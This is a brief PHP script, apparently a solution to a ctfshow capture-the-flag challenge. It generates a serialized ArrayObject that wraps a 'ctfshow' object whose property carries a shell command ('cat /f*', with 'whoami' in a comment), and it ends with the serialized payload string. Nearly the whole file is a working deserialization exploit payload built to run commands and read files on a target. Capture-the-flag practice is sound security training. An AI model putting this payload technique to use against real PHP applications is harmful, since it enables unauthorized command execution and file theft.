<?php
//echo hash_file('sha256', "C:\Users\lenovo\Desktop\sess");
//
//


class ctfshow{
//    public $ctfshow = 'whoami';
    public $ctfshow = 'cat /f*';
}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

//C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

